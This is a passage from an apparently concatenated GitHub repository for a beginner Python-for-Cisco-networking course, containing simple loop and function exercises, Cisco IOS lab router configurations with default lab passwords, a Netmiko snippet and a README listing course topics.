= ["apple", "banana", "cherry"] 7 | for x in fruits: 8 | print(x) 9 | if x == "banana": 10 | break 11 | -------------------------------------------------------------------------------- /8 Loops for.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | for x in range(1,255): 7 | print ("192.168.95."+str(x)) 8 | -------------------------------------------------------------------------------- /8 Loops for3.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | portList = [21,22,25,80,110] 7 | for x in range(1,255): 8 | for port in portList: 9 | print ("[+] Checking 192.168.95."\ 10 | +str(x)+": "+str(port)) 11 | -------------------------------------------------------------------------------- /8 Loops forloop.py: -------------------------------------------------------------------------------- 1 | Devcie_List=["R1 2911","R2 2811","R3 900","Catalyst 9200","Catalyst 2650"] 2 | print(Devcie_List) 3 | for item in Devcie_List: 4 | print(item) 5 | for item in Devcie_List: 6 | if "Catalyst" in item: print(item) 7 | 8 | Catalyst_Switch_List=[] 9 | for item in Devcie_List: 10 | if "Catalyst" in item: Catalyst_Switch_List.append(item) 11 | print(Catalyst_Switch_List) 12 | -------------------------------------------------------------------------------- /8 Loops list.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | a=[] 7 | n=int(input("Enter number of ports to create List:")) 8 | for i in range(1,n+1): 9 | b=input("Enter port number:") 10 | a.append(b) 11 | a.sort(key=len) 12 | print(a) 13 | -------------------------------------------------------------------------------- /8 Loops loop2.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | from random import randint 7 | secret = randint(1, 10) 8 | print('Welcome') 9 | 10 | guess = 0 11 | while guess != secret: 12 | g = input('Guess the number: ') 13 | guess = int(g) 14 | if guess == secret: 15 | print('You win!') 16 | 17 | elif guess > secret: 18 | print('Too high') 19 | else: 20 | if guess < secret: print('Too low') 21 | 22 | print('Game over!') 23 | -------------------------------------------------------------------------------- /8 Loops looploop.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | # Example file for working with loops 7 | 8 | def main(): 9 | x = 0 10 | 11 | # define a while loop 12 | while (x < 5): 13 | print (x) 14 | x = x + 1 15 | 16 | # define a for loop 17 | for x in range(5,10): 18 | print (x) 19 | 20 | # use a for loop over a collection 21 | days = ["Mon","Tue","Wed","Thu","Fri","Sat","Sun"] 22 | for d in days: 23 | print (d) 24 | 25 | # use the break and continue statements 26 | for x in range(5,10): 27 | #if (x == 7): break 28 | #if (x % 2 == 0): continue 29 | print (x) 30 | 31 | #using the enumerate() function to get index 32 | days = ["Mon","Tue","Wed","Thu","Fri","Sat","Sun"] 33 | for i, d in enumerate(days): 34 | print (i, d) 35 | 36 | if __name__ == "__main__": 37 | main() 38 | -------------------------------------------------------------------------------- /8 Loops string1.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | #Calculate the Number of Digits and Letters in a String 7 | string=input("Enter string:") 8 | count1=0 9 | count2=0 10 | for i in string: 11 | if(i.isdigit()): 12 | count1=count1+1 13 | count2=count2+1 14 | print("The number of digits is:") 15 | print(count1) 16 | print("The number of characters is:") 17 | print(count2) 18 | -------------------------------------------------------------------------------- /8 Loops whileloop.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | n = 100 7 | 8 | s = 0 9 | counter = 1 10 | while counter <= n: 11 | s = s + counter 12 | counter += 1 13 | 14 | print("Sum of 1 until %d: %d" % (n,s)) 15 | -------------------------------------------------------------------------------- /8 Loops 1while.py: -------------------------------------------------------------------------------- 1 | x=input("Enter the number to count: ") 2 | x=int(x) 3 | y=1 4 | while y<=x: 5 | print(y) 6 | y=y+1 7 | 8 | #while y less than or equal to x , keep printing y 9 | #while statement repeats the loop until a test is not met. 10 | #current y value will be incremnted by 1 11 | 12 | 13 | 14 | # Prints out 0,1,2,3,4 15 | count = 0 16 | 17 | while count < 5: 18 | print(count) 19 | count += 1 # This is the same as count = count + 1 20 | 21 | # Prints out 0,1,2,3,4 22 | count = 0 23 | 24 | while True: 25 | print(count) 26 | count += 1 27 | if count >= 5: 28 | break 29 | #another example 30 | print("Welcome!") 31 | guess = 0 32 | while guess != 5: 33 | g = input("Guess the number: ") 34 | guess = int(g) 35 | if guess == 5: 36 | print("You win!") 37 | else: 38 | if guess > 5: 39 | print("Too high") 40 | else: print("Too low") 41 | print("Game over!") 42 | -------------------------------------------------------------------------------- /8 Loops dic2.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | # Python Program to Map Two Lists into a Dictionary 7 | keys=[] 8 | values=[] 9 | n=int(input("Enter number of elements for dictionary:")) 10 | print("For keys:") 11 | for x in range(0,n): 12 | element=int(input("Enter element" + str(x+1) + ":")) 13 | keys.append(element) 14 | print("For values:") 15 | for x in range(0,n): 16 | element=int(input("Enter element" + str(x+1) + ":")) 17 | values.append(element) 18 | d=dict(zip(keys,values)) 19 | print("The dictionary is:") 20 | print(d) 21 | 22 | #Enter number of elements for dictionary:4 23 | #For keys: 24 | #Enter element1:1 25 | #Enter element2:2 26 | #Enter element3:3 27 | #Enter element4:4 28 | #For values: 29 | #Enter element1:5 30 | #Enter element2:6 31 | #Enter element3:7 32 | #Enter element4:8 33 | #The dictionary is: 34 | #{1: 5, 2: 6, 3: 7, 4: 8} 35 | -------------------------------------------------------------------------------- /8 Loops for1.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | 7 | #print out numbers 2,3,,5,7 8 | primes = [2, 3, 5, 7] 9 | for prime in primes: 10 | print(prime) 11 | 12 | # Prints out the numbers 0,1,2,3,4 13 | for x in range(5): 14 | print(x) 15 | 16 | # Prints out 3,4,5 17 | for x in range(3, 6): 18 | print(x) 19 | 20 | # Prints out 3,5,7 21 | for x in range(3, 8, 2): 22 | print(x) 23 | 24 | 25 | # Prints out only odd numbers - 1,3,5,7,9 26 | for x in range(10): 27 | # Check if x is even 28 | if x % 2 == 0: 29 | continue 30 | print(x) 31 | 32 | 33 | 34 | for x in range(1,255): 35 | print ("192.168.95."+str(x)) 36 | 37 | 38 | portList = [21,22,25,80,110] 39 | for port in portList: 40 | print (port) 41 | 42 | portList = [21,22,25,80,110] 43 | for x in range(1,255): 44 | for port in portList: 45 | print ("[+] Checking 192.168.95."\ 46 | +str(x)+": "+str(port)) 47 | 48 | fruits = ["apple", "banana", "cherry"] 49 | for x in fruits: 50 | print(x) 51 | if x == "banana": 52 | break 53 | 54 | 55 | a=[] 56 | n=int(input("Enter number of ports to create List:")) 57 | for i in range(1,n+1): 58 | b=input("Enter port number:") 59 | a.append(b) 60 | a.sort(key=len) 61 | print(a) 62 | 63 | 64 | Devcie_List=["R1 2911","R2 2811","R3 900","Catalyst 9200","Catalyst 2650"] 65 | print(Devcie_List) 66 | for item in Devcie_List: 67 | print(item) 68 | for item in Devcie_List: 69 | if "Catalyst" in item: print(item) 70 | 71 | Catalyst_Switch_List=[] 72 | for item in Devcie_List: 73 | if "Catalyst" in item: Catalyst_Switch_List.append(item) 74 | print(Catalyst_Switch_List) 75 | 76 | 77 | #Calculate the Number of Digits and Letters in a String 78 | string=input("Enter string:") 79 | count1=0 80 | count2=0 81 | for i in string: 82 | if(i.isdigit()): 83 | count1=count1+1 84 | count2=count2+1 85 | print("The number of digits is:") 86 | print(count1) 87 | print("The number of characters is:") 88 | print(count2) 89 | 90 | 91 | def main(): 92 | fh = open('lines.txt') 93 | for line in fh.readlines(): 94 | print(line, end='') 95 | 96 | if __name__ == "__main__": main() 97 | 98 | 99 | def main(): 100 | s = 'this is a string' 101 | for c in s: 102 | print(c, end='') 103 | 104 | if __name__ == "__main__": main() 105 | 106 | 107 | def main(): 108 | s = 'this is a string' 109 | for c in s: 110 | if c == 's': break 111 | print(c, end='') 112 | 113 | if __name__ == "__main__": main() 114 | 115 | 116 | 117 | from random import randint 118 | secret = randint(1, 10) 119 | print('Welcome') 120 | 121 | guess = 0 122 | while guess != secret: 123 | g = input('Guess the number: ') 124 | guess = int(g) 125 | if guess == secret: 126 | print('You win!') 127 | 128 | elif guess > secret: 129 | print('Too high') 130 | else: 131 | if guess < secret: print('Too low') 132 | 133 | print('Game over!') 134 | 135 | 136 | 137 | # Example file for working with loops 138 | 139 | def main(): 140 | x = 0 141 | 142 | # define a while loop 143 | while (x < 5): 144 | print (x) 145 | x = x + 1 146 | 147 | # define a for loop 148 | for x in range(5,10): 149 | print (x) 150 | 151 | # use a for loop over a collection 152 | days = ["Mon","Tue","Wed","Thu","Fri","Sat","Sun"] 153 | for d in days: 154 | print (d) 155 | 156 | # use the break and continue statements 157 | for x in range(5,10): 158 | #if (x == 7): break 159 | #if (x % 2 == 0): continue 160 | print (x) 161 | 162 | #using the enumerate() function to get index 163 | days = ["Mon","Tue","Wed","Thu","Fri","Sat","Sun"] 164 | for i, d in enumerate(days): 165 | print (i, d) 166 | 167 | if __name__ == "__main__": 168 | main() 169 | 170 | 171 | 172 | -------------------------------------------------------------------------------- /8 Loops for2.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | portList = [21,22,25,80,110] 7 | for port in portList: 8 | print (port) 9 | -------------------------------------------------------------------------------- /8 Loops test.py: -------------------------------------------------------------------------------- 1 | portList = [21,22,25,80,110] 2 | for x in range(1,255): 3 | for port in portList: 4 | print ("[+] Checking 192.168.95."\ 5 | +str(x)+": "+str(port)) 6 | -------------------------------------------------------------------------------- /8 Loops test2.py: -------------------------------------------------------------------------------- 1 | Devcie_List=["R1 2911","R2 2811","R3 900","Catalyst 9200","Catalyst 2650"] 2 | 3 | Catalyst_Switch_List=[] 4 | for item in Devcie_List: 5 | if "Catalyst" in item: Catalyst_Switch_List.append(item) 6 | print(Catalyst_Switch_List) 7 | 8 | 9 | -------------------------------------------------------------------------------- /9 Function Howmework Simple Caculator by Making Functions.py: -------------------------------------------------------------------------------- 1 | # Program make a simple calculator that can add, subtract, multiply and divide using functions 2 | 3 | # This function adds two numbers 4 | def add(x, y): 5 | return x + y 6 | 7 | # This function subtracts two numbers 8 | def subtract(x, y): 9 | return x - y 10 | 11 | # This function multiplies two numbers 12 | def multiply(x, y): 13 | return x * y 14 | 15 | # This function divides two numbers 16 | def divide(x, y): 17 | return x / y 18 | 19 | print("Select operation.") 20 | print("1.Add") 21 | print("2.Subtract") 22 | print("3.Multiply") 23 | print("4.Divide") 24 | 25 | # Take input from the user 26 | choice = input("Enter choice(1/2/3/4):") 27 | 28 | num1 = int(input("Enter first number: ")) 29 | num2 = int(input("Enter second number: ")) 30 | 31 | if choice == '1': 32 | print(num1,"+",num2,"=", add(num1,num2)) 33 | 34 | elif choice == '2': 35 | print(num1,"-",num2,"=", subtract(num1,num2)) 36 | 37 | elif choice == '3': 38 | print(num1,"*",num2,"=", multiply(num1,num2)) 39 | 40 | elif choice == '4': 41 | print(num1,"/",num2,"=", divide(num1,num2)) 42 | else: 43 | print("Invalid input") 44 | 45 | -------------------------------------------------------------------------------- /9 Function function with embded answer.py: -------------------------------------------------------------------------------- 1 | def profile_info(username, followers): 2 | print("Username: " + username) 3 | print("Followers: " + str(followers)) 4 | 5 | # Call function with parameters assigned as above 6 | profile_info("Yasser", 945) 7 | 8 | # Call function with keyword arguments 9 | profile_info(username="Mike", followers=342) 10 | -------------------------------------------------------------------------------- /9 Function myf1.py: -------------------------------------------------------------------------------- 1 | def myf1(num1,num2): 2 | num1=int(input("Type num1: ")) 3 | num2=int(input("Type num2: ")) 4 | answer=num1 + num2 5 | print('num1 is ' ,num1) 6 | print(answer) 7 | myf1(1,3) 8 | -------------------------------------------------------------------------------- /9 Function myf1basic.py: -------------------------------------------------------------------------------- 1 | def myf1(num1,num2): 2 | answer = num1 + num2 3 | print('num1 is ' ,num1) 4 | print(answer) 5 | myf1(1,5) 6 | -------------------------------------------------------------------------------- /9 Function myf2.py: -------------------------------------------------------------------------------- 1 | def area(): 2 | lx = float(input("Enter Length:")) 3 | lb = float(input("Enter Base:")) 4 | lh = float(input("Enter Height:")) 5 | return lx*lb*lh 6 | print(area()) 7 | -------------------------------------------------------------------------------- /9 Function 1 fun examples.py: -------------------------------------------------------------------------------- 1 | #Example 1 2 | def main(): 3 | testfunc() 4 | 5 | def testfunc(): 6 | pass 7 | 8 | if __name__ == "__main__": main() 9 | 10 | #Example 2 11 | def main(): 12 | testfunc() 13 | 14 | def testfunc(): 15 | print('This is a test function') 16 | 17 | if __name__ == "__main__": main() 18 | 19 | #Example 3 , to pass argument to our function 20 | def main(): 21 | testfunc(42) 22 | 23 | def testfunc(num): 24 | print('This is a test function', num) 25 | 26 | if __name__ == "__main__": main() 27 | 28 | #Example 4 29 | def main(): 30 | testfunc(42, 9) 31 | 32 | def testfunc(num, num2): 33 | print('This is a test function', num, num2) 34 | 35 | if __name__ == "__main__": main() 36 | 37 | #Example 5 38 | def main(): 39 | testfunc(42) 40 | 41 | def testfunc(num, num2 = 9): 42 | print('This is a test function', num, num2) 43 | 44 | if __name__ == "__main__": main() 45 | 46 | #Example 6 47 | def main(): 48 | testfunc(42, 10) 49 | 50 | def testfunc(num, num2 = 9): 51 | print('This is a test function', num, num2) 52 | 53 | if __name__ == "__main__": main() 54 | 55 | #Example 7 56 | def main(): 57 | testfunc(42) 58 | 59 | def testfunc(num, num2 = None): 60 | if num2 is None: 61 | num2 = 10 62 | print('This is a test function', num, num2) 63 | 64 | if __name__ == "__main__": main() 65 | 66 | #Example 8 67 | #The asterisk is special in this place as it means that this is just a list of optional arguments 68 | def main(): 69 | testfunc(1, 2, 3, 4, 5, 6, 7) 70 | 71 | def testfunc(n1, n2, n3, *args): 72 | print(n1, n2 ,n3) 73 | 74 | if __name__ == "__main__": main() 75 | 76 | #Example 9 77 | #args will be tuple 78 | def main(): 79 | testfunc(1, 2, 3, 4, 5, 6, 7) 80 | 81 | def testfunc(n1, n2, n3, *args): 82 | print(n1, n2 ,n3, args) 83 | 84 | if __name__ == "__main__": main() 85 | 86 | #*args and **kwargs are mostly used in function definitions. 87 | #*args and **kwargs allow you to pass a variable number of arguments to a function. 88 | #What variable means here is that you do not know beforehand how many arguments can 89 | #be passed to your function by the user so in this case you use these two keywords. 90 | 91 | #Example 10 92 | def main(): 93 | testfunc(n1 = 1, n2 =2) 94 | 95 | def testfunc(**kwargs): 96 | print('This is a test function', kwargs['n1'], kwargs['n2']) 97 | 98 | if __name__ == "__main__": main() 99 | 100 | #arguments are not named on the receiving end,So these are specified 101 | #with the two asterisks and very commonly called kwargs 102 | ##kwargs is actually a dictionary and so I can say kwargs sub 'n1', like 103 | #that, and kwargs sub 'n2' then I save these and run it, 104 | 105 | #Example 11 106 | def main(): 107 | print(testfunc()) 108 | 109 | def testfunc(): 110 | return 'This is a test function' 111 | 112 | if __name__ == "__main__": main() 113 | 114 | 115 | #Example 12 116 | def main(): 117 | print(testfunc()) 118 | 119 | def testfunc(): 120 | return 42 121 | 122 | if __name__ == "__main__": main() 123 | #Example 13 124 | def main(): 125 | print(testfunc()) 126 | 127 | def testfunc(): 128 | return range(25) 129 | 130 | if __name__ == "__main__": main() 131 | 132 | #Example 124 133 | def main(): 134 | for n in testfunc(): print(n, end= ' ') 135 | 136 | def testfunc(): 137 | return range(25) 138 | 139 | if __name__ == "__main__": main() 140 | 141 | 142 | -------------------------------------------------------------------------------- /ACL.cfg: -------------------------------------------------------------------------------- 1 | access-list 100 permit icmp any any 2 | access-list 100 permit tcp any any eq domain 3 | access-list 100 permit tcp any any eq www 4 | access-list 100 permit tcp any any eq 443 -------------------------------------------------------------------------------- /R1.txt: -------------------------------------------------------------------------------- 1 | ! 2 | version 12.4 3 | no service timestamps log datetime msec 4 | no service timestamps debug datetime msec 5 | no service password-encryption 6 | ! 7 | hostname R1 8 | ! 9 | ! 10 | ! 11 | enable password cisco 12 | ! 13 | ! 14 | ! 15 | ! 16 | ! 17 | ! 18 | ip cef 19 | no ipv6 cef 20 | ! 21 | ! 22 | ! 23 | username yasser password 0 cisco123 24 | ! 25 | ! 26 | ! 27 | ! 28 | ! 29 | ! 30 | ! 31 | ! 32 | ip host R2 2.2.2.2 33 | ! 34 | ! 35 | spanning-tree mode pvst 36 | ! 37 | ! 38 | ! 39 | ! 40 | ! 41 | ! 42 | interface Loopback1 43 | ip address 1.1.1.1 255.255.255.0 44 | ! 45 | interface FastEthernet0/0 46 | ip address 10.0.0.1 255.0.0.0 47 | duplex auto 48 | speed auto 49 | ! 50 | interface FastEthernet0/1 51 | ip address 11.0.0.1 255.0.0.0 52 | duplex auto 53 | speed auto 54 | shutdown 55 | ! 56 | interface Vlan1 57 | no ip address 58 | shutdown 59 | ! 60 | router ospf 100 61 | router-id 0.0.0.1 62 | log-adjacency-changes 63 | network 1.1.1.0 0.0.0.255 area 0 64 | network 10.0.0.0 0.255.255.255 area 0 65 | network 11.0.0.0 0.255.255.255 area 0 66 | ! 67 | ip classless 68 | ! 69 | ip flow-export version 9 70 | ! 71 | ! 72 | ! 73 | banner motd  ************************************************************************ 74 | 75 | WARNING: This Cisco system is for the use of authorized clients only. 76 | Individuals using the computer network system without 77 | authorization, or in excess of their authorization, are 78 | subject to having all their activity on this computer 79 | network system monitored and recorded by system 80 | personnel. To protect the computer network system from 81 | unauthorized use and to ensure the computer network systems 82 | is functioning properly, system administrators monitor this 83 | system. Anyone using this computer network system 84 | expressly consents to such monitoring and is advised that 85 | if such monitoring reveals possible conduct of criminal 86 | activity, system personnel may provide the evidence of 87 | such activity to law enforcement officers. 88 | 89 | Access is restricted to authorized users only. 90 | Unauthorized access is a violation of state and federal, 91 | civil and criminal laws. 92 | **************************************************************************  93 | ! 94 | ! 95 | ! 96 | ! 97 | line con 0 98 | ! 99 | line aux 0 100 | ! 101 | line vty 0 4 102 | login local 103 | ! 104 | ! 105 | ! 106 | end 107 | 108 | -------------------------------------------------------------------------------- /R100.cfg: -------------------------------------------------------------------------------- 1 | Building configuration... 2 | 3 | Current configuration : 1125 bytes 4 | ! 5 | version 12.4 6 | service timestamps debug datetime msec 7 | service timestamps log datetime msec 8 | no service password-encryption 9 | ! 10 | hostname R100 11 | ! 12 | boot-start-marker 13 | boot-end-marker 14 | ! 15 | enable password cisco 16 | ! 17 | no aaa new-model 18 | memory-size iomem 5 19 | no ip icmp rate-limit unreachable 20 | ip cef 21 | ! 22 | ! 23 | ! 24 | ! 25 | no ip domain lookup 26 | ip domain name yasseraudalab.com 27 | ! 28 | multilink bundle-name authenticated 29 | ! 30 | ! 31 | ! 32 | ! 33 | ! 34 | ! 35 | ! 36 | ! 37 | ! 38 | ! 39 | ! 40 | ! 41 | ! 42 | ! 43 | ! 44 | ! 45 | ! 46 | ! 47 | ! 48 | ! 49 | ! 50 | username yasser privilege 15 password 0 cisco 51 | archive 52 | log config 53 | hidekeys 54 | ! 55 | ! 56 | ! 57 | ! 58 | ip tcp synwait-time 5 59 | ! 60 | ! 61 | ! 62 | ! 63 | interface FastEthernet0/0 64 | ip address 192.168.1.50 255.255.255.0 65 | duplex auto 66 | speed auto 67 | ! 68 | interface FastEthernet0/1 69 | no ip address 70 | shutdown 71 | duplex auto 72 | speed auto 73 | ! 74 | router ospf 100 75 | log-adjacency-changes 76 | network 192.168.1.0 0.0.0.255 area 0 77 | ! 78 | ip forward-protocol nd 79 | ! 80 | ! 81 | no ip http server 82 | no ip http secure-server 83 | ! 84 | no cdp log mismatch duplex 85 | ! 86 | ! 87 | ! 88 | ! 89 | ! 90 | ! 91 | control-plane 92 | ! 93 | ! 94 | ! 95 | ! 96 | ! 97 | ! 98 | ! 99 | ! 100 | ! 101 | ! 102 | line con 0 103 | exec-timeout 0 0 104 | privilege level 15 105 | logging synchronous 106 | line aux 0 107 | exec-timeout 0 0 108 | privilege level 15 109 | logging synchronous 110 | line vty 0 4 111 | login local 112 | transport input ssh 113 | ! 114 | ! 115 | end 116 | -------------------------------------------------------------------------------- /R2.txt: -------------------------------------------------------------------------------- 1 | ! 2 | version 12.4 3 | no service timestamps log datetime msec 4 | no service timestamps debug datetime msec 5 | no service password-encryption 6 | ! 7 | hostname R1 8 | ! 9 | ! 10 | ! 11 | enable password cisco 12 | ! 13 | ! 14 | ! 15 | ! 16 | ! 17 | ! 18 | ip cef 19 | no ipv6 cef 20 | ! 21 | ! 22 | ! 23 | username yasser password 0 cisco 24 | ! 25 | ! 26 | ! 27 | ! 28 | ! 29 | ! 30 | ! 31 | ! 32 | ! 33 | ! 34 | spanning-tree mode pvst 35 | ! 36 | ! 37 | ! 38 | ! 39 | ! 40 | ! 41 | interface Loopback1 42 | ip address 1.1.1.1 255.255.255.0 43 | ! 44 | interface FastEthernet0/0 45 | ip address 10.0.0.1 255.0.0.0 46 | duplex auto 47 | speed auto 48 | ! 49 | interface FastEthernet0/1 50 | ip address 11.0.0.1 255.0.0.0 51 | duplex auto 52 | speed auto 53 | shutdown 54 | ! 55 | interface Vlan1 56 | no ip address 57 | shutdown 58 | ! 59 | router ospf 100 60 | router-id 0.0.0.1 61 | log-adjacency-changes 62 | network 1.1.1.0 0.0.0.255 area 0 63 | network 10.0.0.0 0.255.255.255 area 0 64 | network 11.0.0.0 0.255.255.255 area 0 65 | ! 66 | ip classless 67 | ! 68 | ip flow-export version 9 69 | ! 70 | ! 71 | ! 72 | banner motd  ************************************************************************ 73 | 74 | WARNING: This Cisco system is for the use of authorized clients only. 75 | Individuals using the computer network system without 76 | authorization, or in excess of their authorization, are 77 | subject to having all their activity on this computer 78 | network system monitored and recorded by system 79 | personnel. To protect the computer network system from 80 | unauthorized use and to ensure the computer network systems 81 | is functioning properly, system administrators monitor this 82 | system. Anyone using this computer network system 83 | expressly consents to such monitoring and is advised that 84 | if such monitoring reveals possible conduct of criminal 85 | activity, system personnel may provide the evidence of 86 | such activity to law enforcement officers. 87 | 88 | Access is restricted to authorized users only. 89 | Unauthorized access is a violation of state and federal, 90 | civil and criminal laws. 91 | **************************************************************************  92 | ! 93 | ! 94 | ! 95 | ! 96 | line con 0 97 | ! 98 | line aux 0 99 | ! 100 | line vty 0 4 101 | login local 102 | ! 103 | ! 104 | ! 105 | end 106 | 107 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PythonForNetowrk-Cisco 2 | Here You will find all Python scripts used in Python for Cisco R&S and Networking Professional [Free Arabic Videos Series] 3 | 4 | Videos will be start post after mid of June 2019 5 | 6 | YouTube Channel : https://www.youtube.com/user/yasserramzyauda 7 | 8 | Table of Contents 9 | 10 | Introduction to Computer Programming 11 | 12 | Introduction to Python Programming Language 13 | 14 | Variables & Operators 15 | 16 | Data types 17 | 18 | • Numbers 19 | 20 | • Strings 21 | 22 | • Dictionaries 23 | 24 | • Sets 25 | 26 | • Sequences 27 | 28 | • Lists 29 | 30 | • Ranges 31 | 32 | • Tuples 33 | 34 | Conditions 35 | 36 | Loops 37 | 38 | Function / Module / Class / Methods / Package (Library) 39 | 40 | Files I/O 41 | 42 | Error Handling 43 | 44 | Code Analysis 45 | 46 | Introduction to Socket Programming 47 | 48 | Paramiko 49 | 50 | Netmiko 51 | 52 | NAPALM 53 | 54 | Pyntc 55 | 56 | This course is prerequisite for my up coming free course Network Programmability for Cisco R&S and Networking Professional 57 | which cover the following topics: 58 | 59 | Web server & application and HTTP 60 | 61 | JSON 62 | 63 | XML 64 | 65 | Introduction to Network Programmability & Open APIs 66 | 67 | Postman 68 | 69 | Cisco ASA & IOS XE APIs 70 | 71 | YANG Data Modeling & Tools 72 | 73 | APIC-EM 74 | 75 | Introduction to DevOps 76 | 77 | Veriosn Control Git 78 | 79 | Introduction to Agile & Lean 80 | 81 | Automated Testing VIRL & Devnet sandbox 82 | 83 | Automated Testing network/unit/integration test 84 | 85 | Configuration Management Ansible 86 | 87 | Configuration Management Puppet 88 | -------------------------------------------------------------------------------- /Router0_startup-config.txt: -------------------------------------------------------------------------------- 1 | ! 2 | version 12.4 3 | no service timestamps log datetime msec 4 | no service timestamps debug datetime msec 5 | no service password-encryption 6 | ! 7 | hostname R1 8 | ! 9 | ! 10 | ! 11 | enable password cisco 12 | ! 13 | ! 14 | ! 15 | ! 16 | ! 17 | ! 18 | ip cef 19 | no ipv6 cef 20 | ! 21 | ! 22 | ! 23 | username yasser password 0 cisco123 24 | ! 25 | ! 26 | ! 27 | ! 28 | ! 29 | ! 30 | ! 31 | ! 32 | ip host R2 2.2.2.2 33 | ! 34 | ! 35 | spanning-tree mode pvst 36 | ! 37 | ! 38 | ! 39 | ! 40 | ! 41 | ! 42 | interface Loopback1 43 | ip address 1.1.1.1 255.255.255.0 44 | ! 45 | interface FastEthernet0/0 46 | ip address 10.0.0.1 255.0.0.0 47 | duplex auto 48 | speed auto 49 | ! 50 | interface FastEthernet0/1 51 | ip address 11.0.0.1 255.0.0.0 52 | duplex auto 53 | speed auto 54 | shutdown 55 | ! 56 | interface Vlan1 57 | no ip address 58 | shutdown 59 | ! 60 | router ospf 100 61 | router-id 0.0.0.1 62 | log-adjacency-changes 63 | network 1.1.1.0 0.0.0.255 area 0 64 | network 10.0.0.0 0.255.255.255 area 0 65 | network 11.0.0.0 0.255.255.255 area 0 66 | ! 67 | ip classless 68 | ! 69 | ip flow-export version 9 70 | ! 71 | ! 72 | ! 73 | banner motd  ************************************************************************ 74 | 75 | WARNING: This Cisco system is for the use of authorized clients only. 76 | Individuals using the computer network system without 77 | authorization, or in excess of their authorization, are 78 | subject to having all their activity on this computer 79 | network system monitored and recorded by system 80 | personnel. To protect the computer network system from 81 | unauthorized use and to ensure the computer network systems 82 | is functioning properly, system administrators monitor this 83 | system. Anyone using this computer network system 84 | expressly consents to such monitoring and is advised that 85 | if such monitoring reveals possible conduct of criminal 86 | activity, system personnel may provide the evidence of 87 | such activity to law enforcement officers. 88 | 89 | Access is restricted to authorized users only. 90 | Unauthorized access is a violation of state and federal, 91 | civil and criminal laws. 92 | **************************************************************************  93 | ! 94 | ! 95 | ! 96 | ! 97 | line con 0 98 | ! 99 | line aux 0 100 | ! 101 | line vty 0 4 102 | login local 103 | ! 104 | ! 105 | ! 106 | end 107 | 108 | -------------------------------------------------------------------------------- /appreexp.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YasserAuda/PythonForNetowrk-Cisco/f71b2325db69cb5eb9c6a9fe0c6f04a217468875/appreexp.pdf -------------------------------------------------------------------------------- /ask for password.txt: -------------------------------------------------------------------------------- 1 | from netmiko import Netmiko 2 | from getpass import getpass 3 | 4 | my_device = { 5 | "host": "host.domain.com", 6 | "username": "pyclass", 7 | "password": getpass(), 8 | "device_type": "cisco_ios", 9 | } 10 | -------------------------------------------------------------------------------- /exceptions example.txt: -------------------------------------------------------------------------------- 1 | except catch the error 2 | 3 | def main(): 4 | fh = open('lines.txt') 5 | for line in fh: print(line.strip()) 6 | 7 | if __name__ == "__main__": main() 8 | ====================================== 9 | def main(): 10 | try: 11 | fh = open('xlines.txt') 12 | except: 13 | print("could not find file") 14 | else: 15 | for line in fh: print(line.strip()) 16 | 17 | if __name__ == "__main__": main() 18 | ========================================== 19 | def main(): 20 | try: 21 | fh = open('xlines.txt') 22 | except IOError as e: 23 | print("could not find file",e) 24 | else: 25 | for line in fh: print(line.strip()) 26 | 27 | if __name__ == "__main__": main() 28 | ======================================= 29 | def main(): 30 | try: 31 | fh = open('xlines.txt') 32 | for line in fh: print(line.strip()) 33 | except IOError as e: 34 | print("could not find file",e) 35 | 36 | if __name__ == "__main__": main() -------------------------------------------------------------------------------- /hashfiles.txt: -------------------------------------------------------------------------------- 1 | #The code above calculates the MD5 digest of the file. 2 | 3 | #The file is opened in rb mode, which means that you are going to read the file in binary mode. 4 | 5 | #This is because the MD5 function needs to read the file as a sequence of bytes. 6 | 7 | #This will make sure that you can hash any type of file, not only text files. 8 | 9 | #It is important to notice the read function. 10 | 11 | #When it is called with no arguments, like in this case, it will read all the contents of the file and load them into memory. 12 | 13 | #This is dangerous if you are not sure of the file's size. 14 | -------------------------------------------------------------------------------- /ignore.txt: -------------------------------------------------------------------------------- 1 | Building configuration... 2 | Current 